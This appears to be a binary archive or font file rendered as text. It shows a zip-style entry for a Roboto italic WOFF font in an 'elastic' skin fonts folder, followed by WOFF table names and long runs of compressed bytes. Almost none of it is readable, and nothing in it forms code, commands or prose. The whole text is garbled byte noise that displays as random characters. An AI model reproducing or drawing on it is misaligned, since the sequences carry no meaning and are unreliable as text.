�=R~-�T�bC�&�uR��ؖp\�]��?�Q����U�U�pB�T��+�ǽ��)�X��2^�r	�,����E��<5����U�őL��箸8��%f�<��7�}V�4�៮\�C�s�m����S���P5㸲���e+''��f�<���@���K�`���͠}�^�FO��Ї�ĸ�w�d5tvp�{��E�<�U�w��O�����K�D:��u�3�!��F@y�ﴗ���f�L��"�����ԩe4UZ�^|
�o}`m29��<-
,9S�\���I��ͲD���Tھk�:]��IJ���u]����\�/��%�=~IH`tsP1���
Us��t��U7�Dn�"��k|ur�n���Gx��b��#����+P�N����o�5�ZǹuR������&��?K�]��w���	��G
^�Z͐�T�n�Q/XX�b1bmWm�:kK�)nh�k+�G�eEQ�Zͨ���Y�⡘�t���)��^��v�tÖ;�O3�ɳ�����m��S\S�G-�G-�G5��I1���@=:c��ch7�z��ӷϐ,���5�Ռ0��Z؏���z�M�&Y~jr�۳q:4kc��1@@G !��ԒC{��N�Q��MK��
	����F�����X��aC�q]����Y���q%��ت�k�m��:����*T�
��)�4��/]0I�_ޘ�_�}O"�1�M�C�h����_�x�=q��Y�z��D���'�kB��x��N;w19��Ɓ�&�I3�5"[�������^��Ԕ�Nl�N�9�	��;j۲��0��:�խ�	VF�W�ou&V���������[\�Z8A��=+��0��@���LnhCضm�	������1����\R"�&w8�y��S�"�8�E�^�2�׽/�/���^
��b�,u��{rz2�����M�D�3���<�*�魖J�h|�1��A������ӇC�6+L&y���ce:ϭB�(]Ni������:������=��f�ε�v�.|�KGS��=��7���p9���}���aj�f�r&��d�r��"�2$��,�+�Ď�1�����u�K�4q���41]���1a���x'>nr���Y��,1�G��-T�D,�Q�ܼw'��P��Ѳ"E�i��	v��8�v�*��3�W>+x��Ҹ��h�*�y�Um<��^Q��S$kF;�A����}�9`�l�3
�=?�u7�ɿ����M�����P�hw)�Ehf|)gש�3��^��𠮸;�DeE �;�ѓ�"t��Ԉ��CE�,TF�9zZ2������@����c�]:��k��vk �ϲ-r����6���� �y\4H��)m2�шMj��u*��&*~#7�dVuۤ��fb��F��j!���z<fmd��<�A��y���	Ի��i��9Fk�"�h�G�`7��-"�[f�&b22�qcb2~�Sa��I�ĺ��F���������DzU�j�#�ڹ�:7y0�y;�7���^�ˆ�w��6_C�+�@H��8�Ɔ����1M��i�`�ijE(���|
�>�a����@��Z[%�0�Z��l�8ʊ~��k���א�a�&bZöM����C�Ed�?͠���]+�u�V��8��iyFi����6kدa��vvo�]�Ա�ì��u�V��ެs�-�Fy���Dh��!ƌ>�]��]��q��m��A3�SrX��4W�!?~"�[s+��8Bo9��

E�Pp�X����u��6`#��(D
8��U�?)�ق`��-Ihk�k��m���*���wƳ�6��R%�Q��3A�NLlz�@�(�l���i���2���� �W2UX����g'KQ�����7�Ӧ�r���rѧ�)A�W��?���P��U��,�~;oӾ�L+D[��,�Q�����켳��3)�ܤm��m)`1=���8��-2���:R�ٍ=�π3~������F䛋�pNU,]7�+ux�p(��vN�,A��|���hN8�&�0n@��9���D6#�^ˡ^��DG�i�=ۡUE��V��yՕ�l�
PjQ/$^��<��a��A�l�e��Ͷ�t,A���n�:07�CA��r�M_KF�1�K6��Rl���1�",0�u�m�r['������+<�ƈn%�)C��7@*X�OdS��b������1��^�,�D,[sǍ61�Hy�tF@�
�s�`2���}q��]�Z!6��j���*'íN��xE�F[ɮ"&4>J7�_�F���U��� �=^�
�y�C�l� P�l�-���nL�����zB�H�,4|*:Q�A�{��p�c�<ҷ� ^�1��
���O���G��/�Y�n��c��w��—�	�90���kN(�s�&O�#4�6Λ�
c���I���^uE��v�Rؽ�g[�Q�*���'���%'IU�\%��#�;	�,��
Y��Ќ,�I9�m����vA�t��;���d]�u��v
���	���D��%��񫸜���4��O������07�hZC���\bL������N��)���c^U���Ͽ
�D�PL�4c�F4~fOQ6��&E�Su�B��pKX�PBۃ�ߵy�#ox��q�<������痋�ͻ8�5U�Y۳��]�mB��|[0~"��\����H�;
��#c�kW�Yv�i3��T��R��?��wt��\���w�rk��u4�c��i��˜��S
e��H��Lu�XSI�
\ɤ"h O٪���
u�������R����8�e��	�U��.(���SQv9�J�jʱ��Rg���A�Y��"8S'�Kzჸܪ�,7�v�(�Ң�a�覌�9;_�=đ��5u`�F�0܄#g?y�(v4���+�&(JqV�O/*�	V�F���g��,��9�g�p�(�y4auS_�444��	;�qAd���I��*<��Euf�b�̦��M�F3�/���>�8��U0C�i� ̏UxD�:*�WM�*)���>�C�/���e,��t�9�ѹ�fP':_���
��!��?���U�,��\�z��<��n��j?P�wΜ��+�J��V/89N�Tp�A^/AU�J�Jh-I�a�G��,*@u�M�%J�X̩ju��6���J������W�O���H��.d�L���g��=m��������C��(�(.:"��pF�&#�l~�3�Z^G��3O��X����pT-W�m�zy���k�z�FVc�9E���)���}ЭL���e�I�ֺ��Wʒd�D��?��5Ù�@����AD��Rw�xQ!RQjP��������6��fJ��:/�i�Y�$�5gD��9J�=l)��NԄSp*Rx��i�QΣW������Iw��#Y��׼��"��/��P"���Jڟ���C
F�ε<�~���wJĸX;�pR��C����$C�[�S�e���'KHq�4�{&V+�m����)��Q�1Eȇ!W,YuFI��������Κjށ��aO��f��^5�|�'j�e�b#WH��ԱI�^N�9�Uz���AcTG��ܛ�`�����{��gu~;tU�U�̩����ה>�i.��.��
v�/�Z����νpН��7�X	U�)�D��(�f1��UO܀��� U�k��s��v8����Yoo�z�"����.Z��]��O�鴻�_�\U��$1���j?ЖA�C��&�? IOAu[d�I�^.J�@���� ����OSž�K5&}*�֊HG�k�M%�
=ށ��:h��t,@��
��� 
t�N��F�L>AB
��}�@ϘnWm�3[�n��R��?LQ<;a#��zIP�E�(r�g4�CC�O�J��9�m��̣!��
�k�����'���q����J�
z@���z�{���A$^��B+4���^�B0	�AX;7�@ �
��Uˣ������ə�ʀ�`6�+�lG��ݩLȊ߽��!K����s���
�a�f�P��5�3	��,ٰ~�QȰ]	�����CaJ�n�|�9Zd��Νk#;r�P����][�9�ٓ�ʴܟc�C`�J��9��D)g\����ҿ�<2cv���j�r.�Sw�i-�&[�-%��K���\�/�E\����“�`�}��}!f'
��}��� ��*^��*VG�=�R�E��4���6Mv:Hq~�"~�A.5m!8�J&6��|'B�J������n�$B^�RR�ޕq|���8jWjKOF����F���kwbe(u2vH��:��pYG�Ճ�?��=�Z���	�DNr��l�"OjU�,k���C���ʿ���C�R��GH���G�7����ްv��}�b���q�x�ږ4��ES��W�+�qI]�(�9ZȔo��@y����:��l��n2�t�$�����<L�Ă�ɾ{��q��{7��k辔����6حsf�(�о�J�O&���tK܋.�H�L���
uSc�m��铉��%�=�K�N&�qpE�����PKh�\��'��.skins/elastic/fonts/roboto-v29-italic-700.woffnu�[���wOFF�GDEF�-�p�m�GPOS�&�VL.o?]GSUB)�.
�u�]?OS/2.�S`����cmap/��v�cvt 3�JJ�,ofpgm3�3�c��gasp5$glyf50�w�(^�yhdmx�LR�	��head��66��`hhea��#$
�hmtx��4��UX8loca0��a'��maxp�  �name��� =$post� �adprep��.9�Bx�
�3�PD�7��nb�Ul۶��.f�V�N��Yo��wΝz�*��ќ��;�&8�މ�Nlqb�;�m�rȞt�,��\s�7�]'�;�Љ�N�t�5o�;�ۏN|���'�H�i��B'�%��h˩���:����Fjb��9Qm���:���l{���v���e�i����v�f��oj�]��v�V��Zm�j���D����))#LBaj8cυ{�Axc߅�kȲy!�Ĉb�X�V�Ul������x�����x�^�i���Q���;�.��\����Z"J��I.qI7J�VxڔR�]A�����G�̝ڶm���E��2Nm�E'/NԶyZ���F�!RE�F�w��k��L\�`��L]0y����h��x!���9�7f��sD�fDk�BPI�wDL�:�s&�<�I|�4D��5���'�B�R=����I��Ӻ�~�Ht���*����g`F'�#����5���2��:�+�T�Y�2S!݉Y��W����L[�opD��"��QIrIfI�7֛���]�o�>�f��Vԩ�zK�}�P2�j�F7�h��q��ۛ�å�����f��Wai�w\!�:�w"M6���3�Tf�%�:�����F��O8��I�~��j����9�B:*�=�1`_\hK[
U�-PÀ��GPa�Y�[F�Y�-�5����R�8)�BÚyr��>lnu����[FO�$3y���OQ���P�C�ur��"��D
w2�m�$�d���s���z�+�*�gY	�	�[xOU����ŨP�
�Y����p�x"�o�P��-�N�
��-�����
��������yb�d޶m۶m۶m۶m۶m��.6����1".�K�DCv�At�C~�Q�Q�I�2����H�ڨ���dBC'3��������h��ȅ�N>�q�c�S띂8��(��8��8��y�4.�2��Sם���'N
<���'x�	��.@�"a��h�����8�����L�4�,̂�,�BƢ,��,ɒ��,��,˲Ǫ���l�f��l�Il�V��v�)���Ι����O̡�0�>������ت�J��J�,8��*��*�¸��*��*�⸤�*��*�*�����{j��x��j�Gj��x��j�'j�6x�vj�g�x�N��.x�n�W�!��a����ɚ�_�����階?Z�����Z�Z�5��:����h'|�G��s:�X��K��+��8����ۺ�x���L��z�Dz��L����4���̤��,�'s�[��%_�2���<
5����b�b��ųx,i	,%KYK�*��2���\�e�,�X+ƺVƺ��u�nk=l(��X�96�s�-��\l+m��Z[�e��6p�m�M\i[lW�Q;��v�Ns���s�h�7���-v�np�ݲ;�a��w�{�=��^p���W<bo�-����c�;�<��(y
Q��w�UU�(�s�5`�I6� &R�Ȃ�d�H�����TLI�sda5��F�r/Г�Q�I2��u	TQE8JB%ed����3���{�s�={g���UL6|����Az
S)�$|���^��r]7�n2?n�Z�����D-����q�X�j��~�STE-2�D�2�ę�f.K)�^��ME?
��ϣ&g*��\�E�ݢ��w`0s��Q>C����!�F���_�#Q!�k[���1��V}�m���|d[��f�	_�24�R�ğ�#��b�D�Ry�@�~q4�홊ԫ�f'���TQM
��_�a(M7�1M�����f��tsZВV���\�J_�5\�u�H�#����t��?!v�����!���#�"���*tKOe2S�y*EL���2����w,tK��k�ӶAܤ}�����.�O�c�w�e�p��M�
��3��4�_g.
G2�Ć4Vn�e���Bl)��ކ�t�3]�f���z��o��x��W�#��x��'���A�`1_"ooo�)����L#��r��X�3�I<��<�S<�s��K���R�4f���i�o���V8�U^��
��,ne���W�ʜ��C�M�hts(1�����SW�C�>�?� ����S)b~8�^�m�X�jJl�ƶ��*�d.	�2�ę�f.���Rq�Xj{�g���s&�9��d�39�Lv8����q*E,P_�2V�����;杏e�3��\����^��2�uy�P�	�z\�O�ϯ��^cs�ǎP�y��)�ۣK�&Q}F͢[���`��n����O���%�e۩	GR�ҁ<�g4�y%j�*bә5I73/�ӂ�����I/z�C.}�GD>CYC�H�q�ZNGM�9󍆴�
m�LFP�HFq7���h��)��V�������C6UG����(�!�J����lc;5�h*C[:���f����iAKZэ����!���#�"�����C$�h&M=Қ6��3}A#��r�y��x�X�f���>��ZQ�r�?�nG{��x��l`LG�2���g"�x��y�u�@�*
�DM�+���*����<pz���e�����i��5f1�y�p�/�2%^�>�$�����p**d=ա����+�d��iLgF8��T�#��a*���ZN���2��Fwz2�9�c?�����.��F�2������M=ZҚ6��Jna�:�q1�p)�s=���d0C�D&�����9��h�ut���'�c�2���<��<��e����m�����z�m�����zG��&=n�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�z�q�DZ�Q���W��اĮ��k{O(�j;��!����ꧨ��jj�
�|��Jw��s�/b��2�����P�^-��*W)���\ە�<g�)���r��K_�����Pn��1�1f3����/��AQS�	�D�r���z��y;(�*���Im����jj�
��;х���?��3�L3Z�C.}�GD>C��;ƻ�%�j�v���3�[6Fw2"d���m�B�{AyT���KxC�Zq����t�}7Y����e�9���$�f�v>�����'aw�#썎�8'8E%U�ؿV��Ӝ	S��/u��*d݇�Sm�;�E[/r�K��b#�����f|ؗnFsZВV�	ݭ��v��J:p���\õ\����5��I/z�C.}�GD>Cy��a,��=e2��Uf2������o�׮��{��I�f�-�[�2��m?�~P<�~�>�xD���|6�ܗɈ���L=�4Vn-��-W�~-C6�Y����>��Io�hA#��r��uc�D&����O�ϩ� �dU9��1���,�;�y,���Y�5�v�훕��S�.�ۯ���O�=Q}�2�­0*|�����жV\�mS8j�4vEmӶ�]���㐸b��2���V�@�3�������tf�=����洠%��*|���k���d�#�l�NOzћr�K?�� ��t�x���f.�c�c���=�Mʛŭ�i;�am�X!VS�|k9��z��r�e�
i��ZlC[:�M[wz�G}�dwS�}��	��^��Mf
S)b3x�Y�9�ya����od�����}2�/5�DM�2��x"㉌'2��r"ˉ'���j"��L&2��b"��,&���b"�I�Q�ԫ�fN�@Ld0��D�Jd*��D��Jd*��D��Jd*��D��Jd*����'F?1�QN�pb������&F71��M�hbD#��Ĉ&F41��M�hbD#���(%F)���е|,TX��;챔�tj��<�e��Z>g�Q}.�4T�Vq�#���G!~'Z��A�m�~�ם�����'�����J
RELc:3����]��g�hϕtຨ~�#���Q�Q&��q�h۠�Iy�X�~@<$֖�b55γ��Q���\�F��𽫱�߽:�>�Y�*v��;=��|�5c�D&��s�w���_g9��J}����o��V.O2o��(���{������������Mb߽�Ҟ�m�'�{�������Kx�7�}hJ{۷�;oe�+�{���#��V^xw��tG��*�
�d��ab�T�ա2s)��᝺)w�'���<�S�a�ψ���.ͱJ�u&֧�0��q�/�Sl{�=���O�(��}��v�ig�p�S��z�ڇ��u���S�bs�T���[��P۽��}�z�gBxȼ�����TӘΌ�a���j<ݑ)ִS)b�����˨[����&�;e��~�����b���b�c�r:|�	�n�׭�����~�Nl/^/�ݴ� v{�=�Cyݺx��lq�8W�'η�^`�R��ʥ�c��2���F&6D��ޔ��2q\&��ڴ8����H��CU��اD�4|%#�edct�>�9�)*��:���4gd!�b�[S]�>�{�}›2�q*W�/���6X��p�'l�dk�m��|���Y�*����[��ꓔ_1����tf�
��WYy�1�eS›���>�X�
V��^-���N����j+W?��Qe��Q�i�7�.	[e�/d�x�Wk����n�7�Ù��f�o6s���,оX�R���Nv�׶R�-��'d���o��f�<)����O�;�s+�(�'��������&Y��nnOp�J��[�Z�;Ns&|����+�f��T&ݏ̫^�}d!Lj�*���mu�P��PFS#l+`$�Ph�ss�="�o�����TӘΌ�w2�{��4�0c�8����S)b�}���t�Z-���N�dJ�S��\� �9zD<F��j�O-��>|*����f��l�<7G��ն]����@��Lom3�?���oɪ������ŝ�b�m��_&�#d�=,���.~-;��g�z��Ybwã��9�)*���S�Z�;Ns��G\�e>o~f��^"��2W.s���~�+��r{O��L�P.`$���)3e2P��Ψu�a�1�eS�{���u�6�%���9�~D<F�r5�����\�|-ݔ�ӓ���9�c~x/�X�rv�����Vn�����H�ύ��f�l��f͍F4kDc#�����ݬ�q�g�p�g�p�g��gF8k��F8k��F8k���Fbd����	#�5±�a��F8{~n�0ұ�q��8b��F;k��F;{~^�0/��y��́D�F>k�F>k�F>6򱑏́�H́�H�ρD6��@�l���@VF��	��H�Hd#+Y�}�O�_�'�_�'d'+;Y�}���u_�?"CY�}�O\��Ů�#��u�'2����Lee*v�'�{��k|����w��&{eQ7�����g1o���Ŷ�Rޭ�U���%�uw8�c~S8��m(K]�k�TC��x���b�q%}��"�޵��!�P�vq���W�K��/3��G��y��Gem��dNr�J����Z����ps	���D���Ѕ�s����g ��x&2�)��T�X�8�xG�R���2�?W��ʫ)V�B}%^W��L�D��2��\�%���\�މ.����_��\�ҏ<0�|�rw0�G��O�e2��Oy��y���g3���o��](.U����g7{��R&�7F��IW�	WP��UL�zݪF��<���Bu��*S=��_(Z}ԭ�Շ�[m�V2u܈�HO���X�
�օ�N+�ۭ	��q#[�i$^.�����
�`����e�y�T�+z�^UF�͓���j�Nq���ږS��[[V��u�G��Ҩ��u���Q���~��f����+17�r��L��ѹ;������R��w*q��)mj�mý�P|�>�rݝ�k')O��$����jj���8�I����]�E,վL�sq��2jdd��}/,�Vw7�V%��a�j.�e�������@ή�z�frl˥/��c��g(�qØ鸳��|8�B�Y����uw5�����>���2�]��**V�R��W�E��e���v#�vݪx�8�H����4�G��4��Z��*bә�7�e�NO���X�
VS���J��kj9�7jۍ�_�x-�'3��f.��ۙږ*�U.��2��A�e���PT��[9+~q���J=�>i�~=\G}|{�/��õ��0��5I�@����T�X���e�`e8�g����t���Ug��r�i����
�`����e~8�Y*�u�W����q����I�G���=8&��z��β��$���a�p��#L��?C�9�"V�p�ʥgϐv\x����{�rF_�SQ��u�>tD�����S)b��"���Քh�rWi�Lf3����a���1�X�;���ȍ�Q�>êP?�|�STRE�m��w��e��\�~i����j���C.}�m�X�H��^m���0c�8�Q�Ab��#�1������=�=W+_Ko����r~W_�kUT�z<�p�����0��wتtG���TP͏���4����,�0���{��{Et'w����z9.���TQ�YH�����x�
�9��T��t�9֊�b_�2B�����D�)�X>��2�u�s�#�{k�Ws-�<��-.����.���\e��!ELc:3Ύ���Ϩ�{��j�~'X�6�����<A�f���[���ܿmؚnG{����g���Q&�F}���2��!1q-��GC.|~�ѷ��bW�?��~���2��L�1���ϩ� �b��g��۞37��3Pm��>�a��[��2��5+/a-�շ�v�My;{�},ls��\F6�2\>���Ϝe��hk�r1���/��A�<�x���_�����tfD
�F,݈�4�r��S�y�Ҝ��������H����ٷ;=�Eorȥ/��c��g(�WI�3km��Y���L��Cb�sk�ϭ���ӄ�+cùg�bC+7�ޒ��mh��Z�,v�[�M���?��3���Vn�g��0�Q�M!�1��?c���)��9���y�8{�i[g�fq+?<�n|�~V����-g��TԢl*_ݯ�����'[�rą����"�g�R��,a-��ι�l#�r�u�.)�SX���ܹ�[�T[�9aM*O̷mh�"5ܶ��G3���'[K6s�kNZҊnt�'��M��y`�e
e"q�LS����
m�L/�>�
�(��<�3��B�[%nf�1��ߌ-d=��e�RQ7����>��R���ej(F���F��u��,d������Kc�ѝ���,q�X��_,��W��BF���[Y������S�~�pv�~��?|.�m��#��+�GX��Q�	���{��
ELc:3<�����i�ˢ
�ÓFo�s�e�0r{�k��k�|ˌ঺O�{�t���F�gY�)��6�MQCG{�ъ�?͑�8�(�����8�̫�yŖ���]׷�͝�"�1���t
����hskq��neD��#C������ֲ��Ԅũ���T[�y��hƇ��f4�-iE�09ݎ�\I�i�NOzћr�K?�� ���}��<Z���y^�e��g�m[(S> ��̽řz4�5mhK�09�Y�*�GP�HFq7���h��o,��$�q���)��9��U�S�,n�sirA��`=�_�K�Sl۶m��-���mۼ�_�bvG]�^�v:��JW͒>xs����7V�B#�׾HM�Á���@���J�Ԓ<��Ѧ+p� �"�ӌ�l3�W�Y�/�>����r)1�zO���'_�ޕb<^����;'MaU�i���=�杹ݛ��K�83Uߚ��]D?6*�ގ�m#�<�x�'Y�����h��J&������J{�[d�^��V�l�*d�u[��ٯ�^!��!��U���x����w�o����pTC����B˂�6��c�K��p9����ή�i�X��;0օ�;�v:]g8�鶗l���3�*fgu`gM���jt�=#���j�s�vx���̓*F�q9��-F�M(�d!�Y���0t^��O�e�9P��2J(��6�5\�I3�O�b�J����П���Q�v?�C�َ���
�f�OSx����M8|ę������Rn�r9���-�/6@��t���D�b�X_�R��=�/��)n�ϒD}�SO�0�h�^R+��G�%�x��%�����-V.C�q���J]�2X�	Q$鐤Q)��}�$�Ď��勞COo\R��G����dD�s&���:�vd'�4�齃T�/L�==�2�ELr	���$�0�됽`�[��F�w�j����maz���&��ǣ�3��5j�£ۨ�H*Ycq��
��ǣ���f�ي:sP'�nǣ���fz}�GQK7��f�ղ [�r'P�.݈G0���<g_�4��h0��85"�h��z�^�ֺ�6��v�{&������O��Z.ϵD���,Ma)bs:@q=Uk�W��֎0��S����6�;
j�vP�Q'�U�j۶��8���ܽ8�9sv��jv��t�x���/~�LHi���[�JE&�q��3�[E��g�jjl��2��HmsSݮ�`��|�4��u�&����N{VJ�̎U���Hɔe9�&y
~���wfUJ��,FSpy�F����C����^|��>��X�
��-!	s���k�((Ќ�Nm�f�n�!~+{���Lद��<�ݷ�xdYl���96(�+�����i��ONw�=���&�a!�-�#�ϵ~IV�8����϶���$#�F{�}��F	�'|6n���Cq�!Yv��nz"�����
ą�=�}�0���y�f����U͈��G)��L;o���}����������7T=�$=l��Y���YKQ�o'�8��x�J�?$X�;��r���tfj��4b1[1��"i�kidu���_���\Qw�S�?�e���\�8��c{�+�� ��}�m۶m�6bֶ�jAm�
�~����K�u��Z��T�r*ay���UC�Q�QAuP7�R_�WE
��`�������ki�U[S4Mu��
tE����TO�fzf5�g}Q}�Z��Z��Wm�_�j�x����J�z(��l娗�������?�z0zz$zz4z��4�Y�ޟ�ޟ��ni���vk6z.z��
Z���mb��"��"�/#�!�#�o �o�	~�n��o����������������_��_��_����������~���~���~���~���~���~��`����?�o��������+9t�J	ݾRC�����+��e"��!��؏vű���������հ�u��u��w�Q��Q�mQ�Q��Q�]P��Q�KP�KQ�˃U�*�k�5n%bbb#b3bbb;bb/bb�b� b�b�(b�b�$b�b�b�l���9���Bn5u�$�DQ�T�������*{%FE���}_\Q��JIS�w��f�y�s�����08��XYx��Z�@�h�Ё
@�R�8z��Z�$�Y�1�T>�2O�l���(���웟������(z_���
��B�����1
�.�x��K��B�d�#H�Ř�f��n@�Dz��	wNj��R�g�gS��JRB�+…yoX�-m�C���2:am��+K[,'�W���^��9x�ݽ�	G;+[�E뤷׹�n�K�����5jt�dd�,�Ʊ_j:�X$P�zՇA��ֺ%���S
�u�Y�CV@�
O^0`�s�m��/�]+!�ʀ��N�Z�����6֒�)���%'W'_�A���G�z�-m�AQT��e�E{�����i=M�j|�AB(����#�
8z��9
�(�stۤ��˔Q��2��[��E'#K1gJ1ec?=�Q��K}���)GgB���L�#qFq�g\]��s�����+A3I�����IR��"��N�цY�ȼ����yJXdU�`m��a����Ag��
!�d��%�`�� ��F��*�̳>4d�-l�Rt��^R,E�@8���E�I��O�q��E|�4֠�=�{�›;���O���)���qЅDoR�e ����'!�5�4jJ�Y@������Z���x�uV�dK��~�ݳm���E�?۶m۶m۶m�V����w�����������@\����(Vq��iZqk5�Qq�Wi�Ya��O�(�ME8�GFxr�͟��7�@X���R,1��.���B�̾xXQ���ק�A4��Z�����Nu�W�P�Z���ްQ��ٴJ5T�_�V�fl�ض~�
е~�j�ћq �p7���vvrs;��|A�]"�O��|?��.F�h1���:��G��3ٳ�s�s�����w����v@Ԁߍ�'*�"ʢ)��Z�;
W�o�x寸*�9�<���c�u
(�fc> �%\���p�rS��-�-7�=��g�*�����1ŝ�)�c!Vc/�KD�-E��t���V^*��*�
V}�x�R]VOur�Q����������lZ٬Vm��5��i�����2��v�qs�tuv�uw}t�6>"":�"1R"�<������}���y��Ĺz���!��V�a�T&��o^�z;s�꾣nu�R����KRwu����LU�Vb��?Q�D��T�H����
���ix���ze�l?�|U����d��{�&�BxDEl$DrU������z��[)�+<����>���oQ���W�^kӫ�^�o���B�щ���	�5c�S�y.Պ�̟q��B���=]�y
����䥧��ԋ�69^�2;_�q�'����G�x�-�g�?�/�=�/=�TU�ɹ��˪������Ng��l������/�c�v��;~����S7uK�U)��.�y���A�pN���{/�N�U��J�r���>��<� ���x��9O	xS�OD�Z���^��z����MQS�h���c�7SԚ��̟ux�J�On29�t��dt҅Nz��f��\a�K���SV_c��f'��}I�A|�!��C�
��O��bj�7ɿ��G\�8ի�y0���sS7g��<EK�[�M[�q2[�ف�Vd�!��̮d�%�;�=�������Af/2��i����GA
���B&�/�����ȁ�ȏˆ��B<���Q/�rH�
����bVzt3+z��}�ʄfe�h�C6��3��D�ک�~T�~���o�;�.�>�ʨr�\�ԉ��,?f�6S&�QA�
AN|g#9�b�|(��8<$Dx�X��9z�����rG/ԋ�h(��# W���"1�qX������q�ښz�g�QV	,VE�٥�F�ۇi�w��yl�2\��U�A��(�e��w�N�%�e��%�#�a�F[4Cs9#g圜�r�/�SO�Gx�5�5�P�{$ag�3^���Ap{r�ҥ�0`j��_��B�?��r H�4!�c��P�Z ���:�S~xڜ���@���Զӽ�m۶m۶m۶m�n�w��Hҩ�9狱?(L����{
ߙ�~0�C�OD���6�&8��
<O�1��T��b
l�mp0�)8��V�BGI��Q�)�3�9��+PI�)�x1QL��V�O���uq�RQ*EU�9u�~4���:�F��2�!���a���⨨QG�ު�����$��X2�T�&�Ȭ2��/ʒ��"W�r��&��C�p�8��.͕ڕ��XS��Z-��XS�ZY���*�y%�D(َc9��j��˸z3�3p��8ccjL�ٰ&6Ŷ����Q~�>��w�>W����b�X!���⼸��@�)+���Ԃ�RKKi=m�t���S��RA-�U��>�W��,c�82��2Wg��>W������'~S��cu���[r5r5ruW#��<�
�q,���,K�ҰT,K��w"8�� �5F��]�Xw�;�9k���Zc-�Y���D�c�svH�
��mgk�26�M�%Y1>n��~r�I�'�'s��3��=�.fG����l�vʬ�vȬj���s7�O���4c�1R�i�3*��o����}��A��W{�gO��x����'̃����'|=|����?>1��k?^;
�DdYYu֜Mf��av���OF��ӫ���y�0=$T@a�q֎��Z@�=����Y���w�p�Ӿ��~��4e�@�$�H��5C2)��F�f5G�d�M����PHŔhQK�RF9Tj�^��U{�UTSC-u�k�i��Zi�]ڤ�N�覇^���m�`�!�юv�`�f�c>6���c�}8d�q���CN���N喇3�qȋ�|��ȏW|
�'�A�!D�\r�57z�{=q%�m�K�m��73dɑ�@�eST�F�@�"-K��X�M���H�A�&}[��aȈ�]kL��w�Бc'L�9uƑg.ιr��O^�]�q嚯~n#��=y�q/��א����b��Σ��N	I��6�]�h��̳�"K���l��.{��C�8�d�N9��!�� @����8j܄c�[�n�K�̚s�I���[��G�L��^]u�5��p�-�x7mƠ!>��o6�1l�_��'b�6ic�����*���N`1���|���`� !:�����x�]�GA�g�뺫"@��1wřq�G��0_��]�?���w�=�~������y�}>/�������O�����=�[p#e�L�-��HYDFN
'�N���_Ͻ�ȗ�9:�&�a�i,�r���)�$���ʢ��t�� xmM6h�e�o��E�n�D NH(%S�3�u"�E���}y�[{`�Y�v��!`�i��{�5�}��ל��o�h�ּȚK�����
)��i��0Q�š�N-�!�Mu�K�s��Y�=�=V�܊�h�F:�eY���QP��e-ٝ�,+6�6	�T9����xڬZxGӞ�ݻSq�-�ràY�$�	�$@�z�%��BK�H��4z
bJ*-��J�V��ɎtJ��?��nW�����;��(0��P|@A3�A"t���#Y~�Ѥ��р�&}�@Rr���i�I��,gq�p���֩�t&9ibR'6@'���|��?�1�{B9G*���)Zp.�Y�Df����@��O��.a"��l	�� d�k�ϒ��E֭>>,�aA���kwb���Is���y8��*�+x��n�l !�[��{�ۧZ�#�[��Io � =CN�LX$/�,V���L%�b��v>��Ge�����y��C��ڏ�C���X���y��d��B�,�
[U�9�0U��J�j�	M�*ղ��M4"
�W42E#S.F�8"F��R��-�<+�U��T�j-�Y���O�rByM.�l��ki%>�����O��%�[��R�O˕�_�o�z�W9�9_�lͻ���~�����,���S�z`;n�#p�k��n���������B5�0u-Ԃa��B+s��N�p��4K#�m��q�'c��6��i:������Pē����z<^o�����<�<USӄCh��i�޼<�����|ciq��D�=57�Z����[�i����{~�Y�~����b�ҧO�Y��͈�w-��3)������F�����Zs��R�,�,&d((]TZ)!2�x�1L���ר ^���Då��M:�Vෑ�� ��j�t�s
ă�Ψ����D�A�.�ue�-���#�-��qD>uSD>S�� �K7�Ԅ�K��YU���)#:�Y�������=n�%�L�uײ�L�+��4ng�h��z:�~�NxX��^Yp��/0�¢��^�����kڱ�>B:�[�"a/-l��+����x�ro��Em	���o=ذnrB���T�<(�aa�3Y*m�%Y���
�t�$K�D��,��,�?'����׿��u���.L ܦ	��n"څDs8��H�4/դ�UG������SkZ>y�F}�4e���w��/������I�=��z�>&��s2�Z��s�j��M���wV5�;o���lNJ]����Y�y�;v��7
m��l��uNǦ;t��~`��/�,�%n�Q�@EZ��I�@�
P�%����e�C܀0�7�U�n����l��/�B�d�:��qhy4O�U\�߮�_�W�(��~ѳ�J��'�����6��[��B��o���:�!�ΐ(F7ے��M�����
ˆ�noZZ�F4����V!ʞ�3^�B���lA3i�cnܶ�ٯ��w���M�	��Ft���^}&֘�_�!�O����\�.�vy�V.�b�(u�2~�V���3��۶�;�$���8�??c_��(t�+3�Ek�c,��
V�1�t�Q� �JhtR�c��AX�?ۖ�l˷��A�0��2>
ס�	�,�cC�
L�.��+QIJ���n��N��5Kv�T�&���O�˃���ȋ�{��bY�h�7��I��� .,��B7p�	�[J�Rez���i�ij����9�r�߲e�k�^-Z ݗ��O-���k!gt�8r���4��\�.=CY;��PdDt��MA�eE+��p-\ѡC4%`��ΣTM�f�{�]�)�k��j��D<ժǿ��ⰷ�MYs�� >��q�];L�ZX_a��kߎ_��>������1m�h����@(�k��@��a�!��w��N
�4
C�������K��{��;�`�>����Xge�X�6`���Q��!�����4��b.�@lw���'T�r��(O��O-�0������ȷ�����Hߓ�Ó�C��I��ldg�9������]���8,c�+�R��Ȑ6��x)l�?N�>V��}"̗]oN����q��Q�$�ur�a�W3x���R���zX+qI 2)9�II�$7����G����M��f�r�/ք�������7��dP�V����Sw��#�o;�NɌ���,>8��ҝ]F2u��1����n�hg���H��I�O"�K���jL�U���N�/	��%=���V//�w����:���LR�2��>�����եW�]b�B����xŤ~eY-�p�1dG�*Z��ɞ��l���s�]R�ݩ9���^�4ym�v�U�<O��������lq�^[5��$�T��a��ӗ������߿\S:���g�N�S��@��]�^H�<�F�c�IxF	�&�ޢD�����<�ƨǑC�C��dp��%Mu�xD/����/���Ҍg;X��i��cm�<�=���MˋW�tm߮����M�3&�u�Yp~��Q�-���,�t�E}�j0p
�����&��z�PhD���I��>�>��ي`6?D�
��Y��+@�PX����Tp�]0%<�]i��$&�&�4V�����ɀ�����@����h����4?C��W�2���w��G��d$z\��QL{�3�p�Gw�ʿ��uk&>n�_X��<�ڽk�E��n�/hnӺ���eێ�X�Og�1�k�|��9�w��;��/�?�9���='2���:���}e�N�B�Y��P��-bF�VZ$U4R�E2S��)� ����0�!�F�Ex=�^O8
